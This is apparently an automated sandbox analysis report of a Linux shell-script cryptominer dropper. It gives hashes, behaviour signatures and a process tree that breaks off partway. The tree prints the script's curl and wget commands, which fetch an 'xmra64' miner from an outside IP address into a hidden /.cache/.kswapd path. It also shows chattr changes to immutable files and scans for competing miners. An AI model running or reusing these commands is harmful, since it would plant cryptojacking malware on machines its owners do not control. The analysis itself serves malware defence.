5a7a5f792a6cb4a38d7cb0a61fa5e3e3c3dabaf11159404613c3dbb5cf13ad48

General

Target

80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514.sh
Size

5KB
MD5

7b72cf30ac42c20f0a14b0b87425c00a
SHA1

74402152ac0f0c9dfed6f76975080ce1d0d4584d
SHA256

80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514
SHA512

1587b6707b334800f2c4fa7d664542cda84a63c5534b4513003f786058b7d2ef6d22f0f18bdb3d6a81c6a4ea8897453592d4c9bcea0a2e2b62a47f325dbff5eb
SSDEEP

96:Dy0G/8yXwI7gzNnwNnP7fbunnbunJKDnWDnbJtgTGQFE/WztGz:Dw5XwKgRaTzUbUesdtgTGQFE/G8

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

Processes:

.kswapd.kswapd

ioc pid process

/.cache/.kswapd 1991 .kswapd
/.cache/.kswapd 2427 .kswapd

ioc	pid	process
/.cache/.kswapd	1991	.kswapd
/.cache/.kswapd	2427	.kswapd

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

Processes:

grepchattrgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepgrepchattrgrepgrepgrepgrep

pid	process
1882	grep
1998	chattr
2107	grep
2143	grep
2255	grep
1818	grep
1946	grep
2383	grep
1662	grep
1958	grep
2135	grep
2151	grep
2203	grep
2315	grep
1622	grep
1906	grep
2367	grep
1714	grep
1766	grep
1786	grep
1842	grep
2183	grep
1678	grep
1830	grep
2083	grep
2099	grep
2119	grep
2171	grep
1878	grep
2123	grep
2131	grep
2339	grep
2407	grep
2275	grep
2303	grep
1626	grep
1694	grep
1874	grep
2067	grep
2215	grep
2267	grep
2379	grep
2127	grep
2283	grep
1746	grep
1930	grep
2063	grep
2091	grep
2199	grep
2295	grep
2291	grep
1658	grep
1782	grep
1834	grep
1850	grep
1898	grep
2219	grep
2043	grep
2211	grep
1565	chattr
1718	grep
1790	grep
1806	grep
1886	grep

Enumerates running processes
Discovers information about currently running processes on the system
Write file to user bin folder 1 TTPs 1 IoCs

Hijack Execution Flow
T1574

Processes:

80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514.sh

description ioc process

File opened for modification /usr/local/bin/.gCM8WmmCs9RAsj7u 80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514.sh

description	ioc	process
File opened for modification	/usr/local/bin/.gCM8WmmCs9RAsj7u	80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514.sh

Reads CPU attributes 1 TTPs 6 IoCs

System Information Discovery

T1082

Processes:

pspspspspsps

description	ioc	process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

Processes:

pspspspspsgrepgreppsgrepgrep

description	ioc	process
File opened for reading	/proc/438/cmdline	ps
File opened for reading	/proc/453/status	ps
File opened for reading	/proc/9/stat	ps
File opened for reading	/proc/80/stat	ps
File opened for reading	/proc/9/status	ps
File opened for reading	/proc/169/cmdline	ps
File opened for reading	/proc/85/cmdline	ps
File opened for reading	/proc/1558/status	ps
File opened for reading	/proc/177/stat	ps
File opened for reading	/proc/1074/exe	grep
File opened for reading	/proc/599/exe	grep
File opened for reading	/proc/79/status	ps
File opened for reading	/proc/185/status	ps
File opened for reading	/proc/1047/status	ps
File opened for reading	/proc/186/stat	ps
File opened for reading	/proc/214/stat	ps
File opened for reading	/proc/84/cmdline	ps
File opened for reading	/proc/11/cmdline	ps
File opened for reading	/proc/2020/cmdline	ps
File opened for reading	/proc/1554/cmdline	ps
File opened for reading	/proc/2/stat	ps
File opened for reading	/proc/1140/status	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/665/cmdline	ps
File opened for reading	/proc/35/status	ps
File opened for reading	/proc/178/cmdline	ps
File opened for reading	/proc/498/status	ps
File opened for reading	/proc/1585/status	ps
File opened for reading	/proc/494/status	ps
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/510/status	ps
File opened for reading	/proc/171/status	ps
File opened for reading	/proc/692/exe	grep
File opened for reading	/proc/179/cmdline	ps
File opened for reading	/proc/30/status	ps
File opened for reading	/proc/180/status	ps
File opened for reading	/proc/1390/exe	grep
File opened for reading	/proc/599/status	ps
File opened for reading	/proc/973/stat	ps
File opened for reading	/proc/1513/cmdline	ps
File opened for reading	/proc/79/cmdline	ps
File opened for reading	/proc/559/cmdline	ps
File opened for reading	/proc/493/cmdline	ps
File opened for reading	/proc/tty/drivers	ps
File opened for reading	/proc/599/cmdline	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/1070/stat	ps
File opened for reading	/proc/35/stat	ps
File opened for reading	/proc/476/cmdline	ps
File opened for reading	/proc/1077/cmdline	ps
File opened for reading	/proc/1090/stat	ps
File opened for reading	/proc/747/cmdline	ps
File opened for reading	/proc/1193/stat	ps
File opened for reading	/proc/169/stat	ps
File opened for reading	/proc/957/cmdline	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/1157/status	ps
File opened for reading	/proc/446/cmdline	ps
File opened for reading	/proc/1149/cmdline	ps
File opened for reading	/proc/1157/cmdline	ps
File opened for reading	/proc/82/status	ps
File opened for reading	/proc/177/status	ps
File opened for reading	/proc/494/cmdline	ps
File opened for reading	/proc/516/stat	ps

Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.

Processes:

80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514.sh

description ioc process

File opened for modification /dev/shm/.gCM8WmmCs9RAsj7u 80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514.sh
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.

Processes:

80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514.sh

description ioc process

File opened for modification /tmp/.gCM8WmmCs9RAsj7u 80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514.sh

description	ioc	process
File opened for modification	/dev/shm/.gCM8WmmCs9RAsj7u	80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514.sh

description	ioc	process
File opened for modification	/tmp/.gCM8WmmCs9RAsj7u	80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514.sh

/tmp/80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514.sh
/tmp/80faa26a8f697e16f72239936a4ef7863742c78dc2a997abaf3265cda51a5514.sh
1⤵
- Write file to user bin folder
- Writes file to shm directory
- Writes file to tmp directory
PID:1516

/bin/uname
uname -a
2⤵
PID:1517

/usr/bin/wc
wc -l
2⤵
PID:1521

/bin/grep
grep " rm does not remove dir"
2⤵
PID:1520

/bin/rm
rm --help
2⤵
PID:1519

/usr/bin/wc
wc -l
2⤵
PID:1525

/bin/grep
grep -i "Dump libcurl equivalent"
2⤵
PID:1524

/usr/bin/curl
curl --help
2⤵
PID:1523

/usr/bin/wc
wc -l
2⤵
PID:1529

/bin/grep
grep -i "wgetrc "
2⤵
PID:1528

/usr/bin/wget
wget --version
2⤵
PID:1527

/usr/bin/tr
tr -dc A-Za-z0-9
2⤵
PID:1532

/usr/bin/head
head /dev/urandom
2⤵
PID:1531

/usr/bin/shuf
shuf -i 4-16 -n 1
2⤵
PID:1535

/usr/bin/head
head -c 16
2⤵
PID:1533

/bin/rm
rm -f /tmp/.gCM8WmmCs9RAsj7u
2⤵
PID:1539

/bin/rm
rm -f /tmp/.gCM8WmmCs9RAsj7u
2⤵
PID:1540

/bin/rm
rm -f /usr/local/bin/.gCM8WmmCs9RAsj7u
2⤵
PID:1541

/bin/rm
rm -f /dev/shm/.gCM8WmmCs9RAsj7u
2⤵
PID:1542

/bin/rm
rm -f /.gCM8WmmCs9RAsj7u
2⤵
PID:1543

/bin/grep
grep -v defunct
2⤵
PID:1547

/bin/grep
grep -v "sh "
2⤵
PID:1548

/bin/grep
grep -v grep
2⤵
PID:1546

/bin/grep
grep " sleep 120"
2⤵
PID:1549

/bin/ps
ps aux
2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1545

/usr/bin/wc
wc -l
2⤵
PID:1550

/bin/grep
grep -v "sh "
2⤵
PID:1554

/bin/grep
grep -v grep
2⤵
PID:1553

/bin/grep
grep -v defunct
2⤵
PID:1555

/bin/grep
grep " sleep 120"
2⤵
PID:1556

/usr/bin/wc
wc -l
2⤵
PID:1557

/bin/ps
ps aux
2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1552

/bin/sleep
sleep 120
2⤵
PID:1563

/bin/mkdir
mkdir -p /.cache/
2⤵
PID:1564

/usr/bin/chattr
chattr -i /.cache/
2⤵
- Attempts to change immutable files
PID:1565

/bin/chmod
chmod 1755 /.cache/
2⤵
PID:1566

/bin/grep
grep -v "^-"
2⤵
PID:1572

/bin/grep
grep -v lan0
2⤵
PID:1571

/bin/grep
grep -v eth0
2⤵
PID:1573

/bin/grep
grep -v inet0
2⤵
PID:1574

/bin/grep
grep -v eth1
2⤵
PID:1570

/bin/grep
grep -v lano
2⤵
PID:1575

/bin/grep
grep -v grep
2⤵
PID:1576

/bin/grep
grep -v l0
2⤵
PID:1569

/bin/grep
grep -v defunct
2⤵
PID:1577

/bin/grep
grep -v knthread
2⤵
PID:1578

/bin/grep
grep -vi aaaaaaaaaa
2⤵
PID:1579

/bin/grep
grep -vi "java "
2⤵
PID:1580

/bin/ps
ps aux
2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1568

/bin/grep
grep -vi jenkins
2⤵
PID:1581

/bin/grep
grep -vi exim
2⤵
PID:1582

/usr/bin/awk
awk "{if(\$3>=54.0) print \$11}"
2⤵
PID:1583

/usr/bin/head
head -n 1
2⤵
PID:1584

/bin/grep
grep -v eth0
2⤵
PID:1591

/bin/grep
grep -v inet0
2⤵
PID:1592

/bin/grep
grep -v "^-"
2⤵
PID:1590

/bin/grep
grep -v lano
2⤵
PID:1593

/bin/grep
grep -v lan0
2⤵
PID:1589

/bin/grep
grep -v grep
2⤵
PID:1594

/bin/grep
grep -v defunct
2⤵
PID:1595

/bin/grep
grep -v eth1
2⤵
PID:1588

/bin/grep
grep -v python
2⤵
PID:1596

/bin/grep
grep -v knthread
2⤵
PID:1597

/bin/grep
grep -vi aaaaaaaaaa
2⤵
PID:1598

/bin/grep
grep -vi bash
2⤵
PID:1599

/bin/grep
grep -vi exim
2⤵
PID:1600

/bin/grep
grep -v l0
2⤵
PID:1587

/usr/bin/awk
awk "{if(\$3>=0.0) print \$2}"
2⤵
PID:1601

/usr/bin/uniq
uniq
2⤵
PID:1602

/bin/ps
ps aux
2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1586

/bin/readlink
readlink /proc/324/exe
2⤵
PID:1604

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/324/exe
2⤵
PID:1606

/bin/readlink
readlink /proc/330/exe
2⤵
PID:1608

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/330/exe
2⤵
PID:1610

/bin/readlink
readlink /proc/414/exe
2⤵
PID:1612

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/414/exe
2⤵
PID:1614

/bin/readlink
readlink /proc/420/exe
2⤵
PID:1616

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/420/exe
2⤵
PID:1618

/bin/readlink
readlink /proc/430/exe
2⤵
PID:1620

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/430/exe
2⤵
- Attempts to change immutable files
PID:1622

/bin/readlink
readlink /proc/436/exe
2⤵
PID:1624

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/436/exe
2⤵
- Attempts to change immutable files
PID:1626

/bin/readlink
readlink /proc/438/exe
2⤵
PID:1628

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/438/exe
2⤵
PID:1630

/bin/readlink
readlink /proc/446/exe
2⤵
PID:1632

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/446/exe
2⤵
PID:1634

/bin/readlink
readlink /proc/453/exe
2⤵
PID:1636

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/453/exe
2⤵
PID:1638

/bin/readlink
readlink /proc/476/exe
2⤵
PID:1640

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/476/exe
2⤵
PID:1642

/bin/readlink
readlink /proc/487/exe
2⤵
PID:1644

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/487/exe
2⤵
PID:1646

/bin/readlink
readlink /proc/494/exe
2⤵
PID:1648

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/494/exe
2⤵
PID:1650

/bin/readlink
readlink /proc/498/exe
2⤵
PID:1652

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/498/exe
2⤵
PID:1654

/bin/readlink
readlink /proc/510/exe
2⤵
PID:1656

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/510/exe
2⤵
- Attempts to change immutable files
PID:1658

/bin/readlink
readlink /proc/512/exe
2⤵
PID:1660

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/512/exe
2⤵
- Attempts to change immutable files
PID:1662

/bin/readlink
readlink /proc/516/exe
2⤵
PID:1664

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/516/exe
2⤵
PID:1666

/bin/readlink
readlink /proc/532/exe
2⤵
PID:1668

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/532/exe
2⤵
PID:1670

/bin/readlink
readlink /proc/533/exe
2⤵
PID:1672

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/533/exe
2⤵
PID:1674

/bin/readlink
readlink /proc/575/exe
2⤵
PID:1676

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/575/exe
2⤵
- Attempts to change immutable files
PID:1678

/bin/readlink
readlink /proc/577/exe
2⤵
PID:1680

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/577/exe
2⤵
PID:1682

/bin/readlink
readlink /proc/599/exe
2⤵
PID:1684

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/599/exe
2⤵
PID:1686

/bin/readlink
readlink /proc/620/exe
2⤵
PID:1688

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/620/exe
2⤵
PID:1690

/bin/readlink
readlink /proc/621/exe
2⤵
PID:1692

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/621/exe
2⤵
- Attempts to change immutable files
PID:1694

/bin/readlink
readlink /proc/665/exe
2⤵
PID:1696

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/665/exe
2⤵
PID:1698

/bin/readlink
readlink /proc/674/exe
2⤵
PID:1700

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/674/exe
2⤵
PID:1702

/bin/readlink
readlink /proc/681/exe
2⤵
PID:1704

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/681/exe
2⤵
PID:1706

/bin/readlink
readlink /proc/683/exe
2⤵
PID:1708

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/683/exe
2⤵
PID:1710

/bin/readlink
readlink /proc/692/exe
2⤵
PID:1712

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/692/exe
2⤵
- Attempts to change immutable files
PID:1714

/bin/readlink
readlink /proc/696/exe
2⤵
PID:1716

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/696/exe
2⤵
- Attempts to change immutable files
PID:1718

/bin/readlink
readlink /proc/720/exe
2⤵
PID:1720

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/720/exe
2⤵
PID:1722

/bin/readlink
readlink /proc/747/exe
2⤵
PID:1724

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/747/exe
2⤵
PID:1726

/bin/readlink
readlink /proc/758/exe
2⤵
PID:1728

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/758/exe
2⤵
PID:1730

/bin/readlink
readlink /proc/930/exe
2⤵
PID:1732

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/930/exe
2⤵
PID:1734

/bin/readlink
readlink /proc/957/exe
2⤵
PID:1736

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/957/exe
2⤵
PID:1738

/bin/readlink
readlink /proc/961/exe
2⤵
PID:1740

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/961/exe
2⤵
PID:1742

/bin/readlink
readlink /proc/966/exe
2⤵
PID:1744

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/966/exe
2⤵
- Attempts to change immutable files
PID:1746

/bin/readlink
readlink /proc/969/exe
2⤵
PID:1748

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/969/exe
2⤵
PID:1750

/bin/readlink
readlink /proc/973/exe
2⤵
PID:1752

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/973/exe
2⤵
PID:1754

/bin/readlink
readlink /proc/1023/exe
2⤵
PID:1756

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1023/exe
2⤵
PID:1758

/bin/readlink
readlink /proc/1033/exe
2⤵
PID:1760

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1033/exe
2⤵
PID:1762

/bin/readlink
readlink /proc/1047/exe
2⤵
PID:1764

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1047/exe
2⤵
- Attempts to change immutable files
PID:1766

/bin/readlink
readlink /proc/1053/exe
2⤵
PID:1768

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1053/exe
2⤵
PID:1770

/bin/readlink
readlink /proc/1066/exe
2⤵
PID:1772

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1066/exe
2⤵
PID:1774

/bin/readlink
readlink /proc/1070/exe
2⤵
PID:1776

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1070/exe
2⤵
PID:1778

/bin/readlink
readlink /proc/1074/exe
2⤵
PID:1780

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1074/exe
2⤵
- Attempts to change immutable files
- Reads runtime system information
PID:1782

/bin/readlink
readlink /proc/1077/exe
2⤵
PID:1784

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1077/exe
2⤵
- Attempts to change immutable files
PID:1786

/bin/readlink
readlink /proc/1080/exe
2⤵
PID:1788

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1080/exe
2⤵
- Attempts to change immutable files
PID:1790

/bin/readlink
readlink /proc/1090/exe
2⤵
PID:1792

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1090/exe
2⤵
PID:1794

/bin/readlink
readlink /proc/1094/exe
2⤵
PID:1796

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1094/exe
2⤵
PID:1798

/bin/readlink
readlink /proc/1103/exe
2⤵
PID:1800

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1103/exe
2⤵
PID:1802

/bin/readlink
readlink /proc/1113/exe
2⤵
PID:1804

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1113/exe
2⤵
- Attempts to change immutable files
PID:1806

/bin/readlink
readlink /proc/1124/exe
2⤵
PID:1808

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1124/exe
2⤵
PID:1810

/bin/readlink
readlink /proc/1128/exe
2⤵
PID:1812

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1128/exe
2⤵
PID:1814

/bin/readlink
readlink /proc/1132/exe
2⤵
PID:1816

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1132/exe
2⤵
- Attempts to change immutable files
PID:1818

/bin/readlink
readlink /proc/1136/exe
2⤵
PID:1820

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1136/exe
2⤵
PID:1822

/bin/readlink
readlink /proc/1140/exe
2⤵
PID:1824

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1140/exe
2⤵
PID:1826

/bin/readlink
readlink /proc/1144/exe
2⤵
PID:1828

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1144/exe
2⤵
- Attempts to change immutable files
PID:1830

/bin/readlink
readlink /proc/1149/exe
2⤵
PID:1832

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1149/exe
2⤵
- Attempts to change immutable files
PID:1834

/bin/readlink
readlink /proc/1153/exe
2⤵
PID:1836

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1153/exe
2⤵
PID:1838

/bin/readlink
readlink /proc/1155/exe
2⤵
PID:1840

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1155/exe
2⤵
- Attempts to change immutable files
PID:1842

/bin/readlink
readlink /proc/1157/exe
2⤵
PID:1844

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1157/exe
2⤵
PID:1846

/bin/readlink
readlink /proc/1158/exe
2⤵
PID:1848

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1158/exe
2⤵
- Attempts to change immutable files
PID:1850

/bin/readlink
readlink /proc/1163/exe
2⤵
PID:1852

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1163/exe
2⤵
PID:1854

/bin/readlink
readlink /proc/1173/exe
2⤵
PID:1856

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1173/exe
2⤵
PID:1858

/bin/readlink
readlink /proc/1174/exe
2⤵
PID:1860

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1174/exe
2⤵
PID:1862

/bin/readlink
readlink /proc/1176/exe
2⤵
PID:1864

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1176/exe
2⤵
PID:1866

/bin/readlink
readlink /proc/1177/exe
2⤵
PID:1868

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1177/exe
2⤵
PID:1870

/bin/readlink
readlink /proc/1182/exe
2⤵
PID:1872

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1182/exe
2⤵
- Attempts to change immutable files
PID:1874

/bin/readlink
readlink /proc/1192/exe
2⤵
PID:1876

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1192/exe
2⤵
- Attempts to change immutable files
PID:1878

/bin/readlink
readlink /proc/1193/exe
2⤵
PID:1880

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1193/exe
2⤵
- Attempts to change immutable files
PID:1882

/bin/readlink
readlink /proc/1194/exe
2⤵
PID:1884

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1194/exe
2⤵
- Attempts to change immutable files
PID:1886

/bin/readlink
readlink /proc/1195/exe
2⤵
PID:1888

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1195/exe
2⤵
PID:1890

/bin/readlink
readlink /proc/1196/exe
2⤵
PID:1892

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1196/exe
2⤵
PID:1894

/bin/readlink
readlink /proc/1199/exe
2⤵
PID:1896

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1199/exe
2⤵
- Attempts to change immutable files
PID:1898

/bin/readlink
readlink /proc/1203/exe
2⤵
PID:1900

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1203/exe
2⤵
PID:1902

/bin/readlink
readlink /proc/1236/exe
2⤵
PID:1904

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1236/exe
2⤵
- Attempts to change immutable files
PID:1906

/bin/readlink
readlink /proc/1239/exe
2⤵
PID:1908

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1239/exe
2⤵
PID:1910

/bin/readlink
readlink /proc/1260/exe
2⤵
PID:1912

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1260/exe
2⤵
PID:1914

/bin/readlink
readlink /proc/1267/exe
2⤵
PID:1916

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1267/exe
2⤵
PID:1918

/bin/readlink
readlink /proc/1280/exe
2⤵
PID:1920

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1280/exe
2⤵
PID:1922

/bin/readlink
readlink /proc/1292/exe
2⤵
PID:1924

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1292/exe
2⤵
PID:1926

/bin/readlink
readlink /proc/1300/exe
2⤵
PID:1928

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1300/exe
2⤵
- Attempts to change immutable files
PID:1930

/bin/readlink
readlink /proc/1312/exe
2⤵
PID:1932

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1312/exe
2⤵
PID:1934

/bin/readlink
readlink /proc/1317/exe
2⤵
PID:1936

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1317/exe
2⤵
PID:1938

/bin/readlink
readlink /proc/1322/exe
2⤵
PID:1940

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1322/exe
2⤵
PID:1942

/bin/readlink
readlink /proc/1350/exe
2⤵
PID:1944

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1350/exe
2⤵
- Attempts to change immutable files
PID:1946

/bin/readlink
readlink /proc/1358/exe
2⤵
PID:1948

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1358/exe
2⤵
PID:1950

/bin/readlink
readlink /proc/1390/exe
2⤵
PID:1952

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1390/exe
2⤵
- Reads runtime system information
PID:1954

/bin/readlink
readlink /proc/1485/exe
2⤵
PID:1956

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1485/exe
2⤵
- Attempts to change immutable files
PID:1958

/bin/readlink
readlink /proc/1510/exe
2⤵
PID:1960

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1510/exe
2⤵
PID:1962

/bin/readlink
readlink /proc/1512/cwd
2⤵
PID:1963

/bin/cat
cat /proc/1512/comm
2⤵
PID:1964

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" //kdumpy
2⤵
PID:1966

/bin/readlink
readlink /proc/1513/cwd
2⤵
PID:1967

/bin/cat
cat /proc/1513/comm
2⤵
PID:1968

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" //stahp_fdump
2⤵
PID:1970

/bin/readlink
readlink /proc/1514/cwd
2⤵
PID:1971

/bin/cat
cat /proc/1514/comm
2⤵
PID:1972

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" //stahp_vma
2⤵
PID:1974

/bin/readlink
readlink /proc/1558/exe
2⤵
PID:1976

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1558/exe
2⤵
PID:1978

/bin/readlink
readlink /proc/1563/exe
2⤵
PID:1980

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1563/exe
2⤵
PID:1982

/usr/bin/wc
wc -l
2⤵
PID:1986

/bin/grep
grep x86_64
2⤵
PID:1985

/usr/bin/curl
curl http://138.197.206.223/.x/xmra64 -o /.cache/.kswapd
2⤵
PID:1988

/usr/bin/wget
wget http://138.197.206.223/.x/xmra64 -O /.cache/.kswapd
2⤵
PID:1989

/bin/chmod
chmod +x /.cache/.kswapd
2⤵
PID:1990

/bin/sleep
sleep 120
2⤵
PID:1996

/bin/mkdir
mkdir -p /.cache/
2⤵
PID:1997

/usr/bin/chattr
chattr -i /.cache/
2⤵
- Attempts to change immutable files
PID:1998

/bin/chmod
chmod 1755 /.cache/
2⤵
PID:1999

/bin/grep
grep -v "^-"
2⤵
PID:2005

/bin/grep
grep -v lan0
2⤵
PID:2004

/bin/grep
grep -v eth0
2⤵
PID:2006

/bin/grep
grep -v eth1
2⤵
PID:2003

/bin/grep
grep -v inet0
2⤵
PID:2007

/bin/grep
grep -v lano
2⤵
PID:2008

/bin/grep
grep -v l0
2⤵
PID:2002

/bin/grep
grep -v grep
2⤵
PID:2009

/bin/grep
grep -v defunct
2⤵
PID:2010

/bin/grep
grep -v knthread
2⤵
PID:2011

/bin/grep
grep -vi aaaaaaaaaa
2⤵
PID:2012

/bin/ps
ps aux
2⤵
- Reads CPU attributes
- Reads runtime system information
PID:2001

/bin/grep
grep -vi "java "
2⤵
PID:2013

/bin/grep
grep -vi jenkins
2⤵
PID:2014

/bin/grep
grep -vi exim
2⤵
PID:2015

/usr/bin/awk
awk "{if(\$3>=54.0) print \$11}"
2⤵
PID:2016

/usr/bin/head
head -n 1
2⤵
PID:2017

/bin/grep
grep -v "^-"
2⤵
PID:2023

/bin/grep
grep -v inet0
2⤵
PID:2025

/bin/grep
grep -v lan0
2⤵
PID:2022

/bin/grep
grep -v lano
2⤵
PID:2026

/bin/grep
grep -v eth1
2⤵
